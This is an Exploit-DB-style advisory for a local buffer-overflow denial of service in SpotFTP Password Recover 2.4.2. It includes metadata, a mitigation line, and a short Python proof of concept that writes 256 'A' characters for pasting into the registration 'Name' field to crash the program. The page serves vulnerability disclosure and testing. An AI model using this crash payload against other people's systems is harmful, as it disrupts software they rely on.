SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC)

vendor:

SpotFTP Password Recover

by:

Luis Martinez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: SpotFTP Password Recover

Affected Version From: 2.4.2

Affected Version To: 2.4.2

Patch Exists: YES

Related CWE: N/A

CPE: a:nsauditor:spotftp_password_recover:2.4.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2019

SpotFTP Password Recover 2.4.2 – ‘Name’ Denial of Service (PoC)

A buffer overflow vulnerability exists in SpotFTP Password Recover 2.4.2 when a maliciously crafted 'Name' field is entered, which could allow an attacker to cause a denial of service condition.

Mitigation:

Upgrade to the latest version of SpotFTP Password Recover 2.4.2 or apply the appropriate patch.

Source

Exploit-DB raw data:

# Exploit Title: SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-04
# Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nsauditor.com/downloads/spotftp_setup.exe
# Tested Version: 2.4.2
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python SpotFTP_Password_Recover_2.4.2.py
# 2.- Open SpotFTP_Password_Recover_2.4.2.txt and copy content to clipboard
# 3.- Open SpotFTP
# 4.- Register -> Enter Registration Code...
# 5.- Paste ClipBoard on "Name:"
# 6.- Key: -> L4M5
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 256
f = open ("SpotFTP_Password_Recover_2.4.2.txt", "w")
f.write(buffer)
f.close()